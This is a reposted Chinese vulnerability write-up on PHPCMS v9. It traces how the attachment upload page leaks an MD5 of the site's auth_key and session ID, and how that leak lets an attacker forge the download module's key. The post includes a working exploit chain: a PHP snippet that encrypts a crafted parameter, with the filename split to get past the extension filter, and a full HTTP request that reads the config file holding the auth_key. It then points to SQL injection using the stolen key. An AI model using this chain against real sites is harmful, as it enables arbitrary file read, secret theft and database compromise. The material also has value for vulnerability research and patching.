PHPCMS某處設計缺陷可致authkey泄露

來源:互聯網
上載者:User

標籤:read   聯合   model   else   swf   分享   漏洞   http   left_pad   

在分析幾個phpcms的漏洞就換分析其他的,換換口味。

漏洞來源:http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0106892.html

swfupload上傳頁面輸出了 MD5(auth_key+sess_id)。

函數位於 /phpcms/modules/attachment/functions/global.func.php 第45-91行

function initupload($module, $catid,$args, $userid, $groupid = ‘8‘, $isadmin = ‘0‘,$userid_flash=‘0‘){$grouplist = getcache(‘grouplist‘,‘member‘);if($isadmin==0 && !$grouplist[$groupid][‘allowattachment‘]) return false;extract(getswfinit($args));$siteid = param::get_cookie(‘siteid‘);$site_setting = get_site_setting($siteid);$file_size_limit = $site_setting[‘upload_maxsize‘];$sess_id = SYS_TIME;$admin_url = pc_base::load_config(‘system‘,‘admin_url‘);$upload_path = empty($admin_url) ? APP_PATH : ‘http://‘.$admin_url.‘/‘;$swf_auth_key = md5(pc_base::load_config(‘system‘,‘auth_key‘).$sess_id);$init =  ‘var swfu = \‘\‘;$(document).ready(function(){swfu = new SWFUpload({flash_url:"‘.JS_PATH.‘swfupload/swfupload.swf?"+Math.random(),upload_url:"‘.$upload_path.‘index.php?m=attachment&c=attachments&a=swfupload&dosubmit=1",file_post_name : "Filedata",post_params:{"SWFUPLOADSESSID":"‘.$sess_id.‘","module":"‘.$module.‘","catid":"‘.$_GET[‘catid‘].‘","userid":"‘.$userid.‘","siteid":"‘.$siteid.‘","dosubmit":"1","thumb_width":"‘.$thumb_width.‘","thumb_height":"‘.$thumb_height.‘","watermark_enable":"‘.$watermark_enable.‘","filetype_post":"‘.$file_types_post.‘","swf_auth_key":"‘.$swf_auth_key.‘","isadmin":"‘.$isadmin.‘","groupid":"‘.$groupid.‘","userid_flash":"‘.$userid_flash.‘"},file_size_limit:"‘.$file_size_limit.‘",file_types:"‘.$file_types.‘",file_types_description:"All Files",file_upload_limit:"‘.$file_upload_limit.‘",custom_settings : {progressTarget : "fsUploadProgress",cancelButtonId : "btnCancel"}, button_image_url: "",button_width: 75,button_height: 28,button_placeholder_id: "buttonPlaceHolder",button_text_style: "",button_text_top_padding: 3,button_text_left_padding: 12,button_window_mode: SWFUpload.WINDOW_MODE.TRANSPARENT,button_cursor: SWFUpload.CURSOR.HAND,file_dialog_start_handler : fileDialogStart,file_queued_handler : fileQueued,file_queue_error_handler:fileQueueError,file_dialog_complete_handler:fileDialogComplete,upload_progress_handler:uploadProgress,upload_error_handler:uploadError,upload_success_handler:uploadSuccess,upload_complete_handler:uploadComplete});})‘;return $init;}

  可以看到$init參數的值為一段js代碼。

看到這裡:post_params:{"SWFUPLOADSESSID":"‘.$sess_id.‘","module":"‘.$module.‘","catid":"‘.$_GET[‘catid‘].‘","userid":"‘.$userid.‘","siteid":"‘.$siteid.‘","dosubmit":"1","thumb_width":"‘.$thumb_width.‘","thumb_height":"‘.$thumb_height.‘","watermark_enable":"‘.$watermark_enable.‘","filetype_post":"‘.$file_types_post.‘","swf_auth_key":"‘.$swf_auth_key.‘","isadmin":"‘.$isadmin.‘","groupid":"‘.$groupid.‘","userid_flash":"‘.$userid_flash.‘"},

混雜著$sess_id和$swf_auth_key的值

在跟蹤到上面去$swf_auth_key的值。$swf_auth_key = md5(pc_base::load_config(‘system‘,‘auth_key‘).$sess_id);

$swf_auth_key是由auth_key和$sess_id聯合在一起共同進行md5加密。並且$swf_auth_key,$sess_id都輸出到頁面上了。

跟蹤這整個函數,看看哪裡引用了。

 

 

限制:線上投稿(需要後台開啟)

在發布投稿的時候,有個圖片上傳,url就位於那裡。

 

 

查看源碼就能看到輸出在頁面的值了。

記錄下來兩個值。

接著看到第二個漏洞點。

位於 /phpcms/modules/content/down.php  第83-124行。

public function download() {$a_k = trim($_GET[‘a_k‘]);$pc_auth_key = md5(pc_base::load_config(‘system‘,‘auth_key‘).$_SERVER[‘HTTP_USER_AGENT‘]);$a_k = sys_auth($a_k, ‘DECODE‘, $pc_auth_key);if(empty($a_k)) showmessage(L(‘illegal_parameters‘));unset($i,$m,$f,$t,$ip);parse_str($a_k);if(isset($i)) $downid = intval($i);if(!isset($m)) showmessage(L(‘illegal_parameters‘));if(!isset($modelid)) showmessage(L(‘illegal_parameters‘));if(empty($f)) showmessage(L(‘url_invalid‘));if(!$i || $m<0) showmessage(L(‘illegal_parameters‘));if(!isset($t)) showmessage(L(‘illegal_parameters‘));if(!isset($ip)) showmessage(L(‘illegal_parameters‘));$starttime = intval($t);if(preg_match(‘/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i‘,$f) || strpos($f, ":\\")!==FALSE || strpos($f,‘..‘)!==FALSE) showmessage(L(‘url_error‘));$fileurl = trim($f);if(!$downid || empty($fileurl) || !preg_match("/[0-9]{10}/", $starttime) || !preg_match("/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/", $ip) || $ip != ip()) showmessage(L(‘illegal_parameters‘));$endtime = SYS_TIME - $starttime;if($endtime > 3600) showmessage(L(‘url_invalid‘));if($m) $fileurl = trim($s).trim($fileurl);//遠程檔案if(strpos($fileurl, ‘:/‘) && (strpos($fileurl, pc_base::load_config(‘system‘,‘upload_url‘)) === false)) { header("Location: $fileurl");} else {if($d == 0) {header("Location: ".$fileurl);} else {$fileurl = str_replace(array(pc_base::load_config(‘system‘,‘upload_url‘),‘/‘), array(pc_base::load_config(‘system‘,‘upload_path‘),DIRECTORY_SEPARATOR), $fileurl);$filename = basename($fileurl);//處理中文檔案if(preg_match("/^([\s\S]*?)([\x81-\xfe][\x40-\xfe])([\s\S]*?)/", $fileurl)) {$filename = str_replace(array("%5C", "%2F", "%3A"), array("\\", "/", ":"), urlencode($fileurl));$filename = urldecode(basename($filename));}$ext = fileext($filename);$filename = date(‘Ymd_his‘).random(3).‘.‘.$ext;file_down($fileurl, $filename);}}}

  看到開頭的這句話:$pc_auth_key = md5(pc_base::load_config(‘system‘,‘auth_key‘).$_SERVER[‘HTTP_USER_AGENT‘]);

利用auth_key和HTTP_USER_AGENT進行加密。UA我們本地是可以控制的,所以我們可以讓UA的值與$sess_id的值相同,然後$pc_auth_key 我們也是知道的。

看到這句,$a_k = sys_auth($a_k, ‘DECODE‘, $pc_auth_key); 

$a_k是利用GET過來的,$pc_auth_key我們又是知道的,所以我們可以本地產生經過加密$a_k的值

<?php include ‘/Applications/MAMP/htdocs/phpcms_v9.5.8/phpsso_server/phpcms/libs/functions/global.func.php‘;echo sys_auth(‘i=3&d=1&t=9999999999&ip=127.0.0.1&m=3&modelid=3&s=caches/configs/system.p&f=hp‘, ‘ENCODE‘, ‘12d92ed5288d3779cbbc21050a2872c7‘);?>

  先包含sys_auth函數,然後構造我們要下載的檔案地址。

上面的那些參數是download函數需要的,具體的解釋在以前文章有個這裡的windows下任意檔案相同

s和f參數,利用拼接來繞過檢查,也就是這句:if($m) $fileurl = trim($s).trim($fileurl);

然後就能讀取任意檔案啦。

 

 

GET /phpcms_v9.5.8/index.php?m=content&c=down&a=download&a_k=4a24vbaImAul-EwWcTrYs7wE7j5Urx5t4oU732dLThlYS7A3T-z8Wx31XLBrijP0c6yi0MxacTEGBpGIc6w-t52fF-yPcyQv5O9aZCvLQxseCnyLPytVPcArzKYcBMEEhwiLu8pcvAmZ_ZDiO-YSI5d1MshWeQ6qo2LPi7-DaRpawVQ HTTP/1.1
Host: phpstudy.com
User-Agent: 1495713362

 

a_k的值是php檔案加密來的,需要替換,UA是$sess_id的值,也是需要替換。

 

讀取到的檔案caches/configs/system.php 為網站放置auth_key的php檔案。

有了這個auth_key,我們就能在本地混合sql語句然後加密auth_key,網站進行解碼以後輸出sql語句來繞過檢查,然後對網站進行注入等操作,具體可以看http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0106892.html,或者bobao.360.cn 發的phpcmsv9.6.2的注入文章。

 

PHPCMS某處設計缺陷可致authkey泄露

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.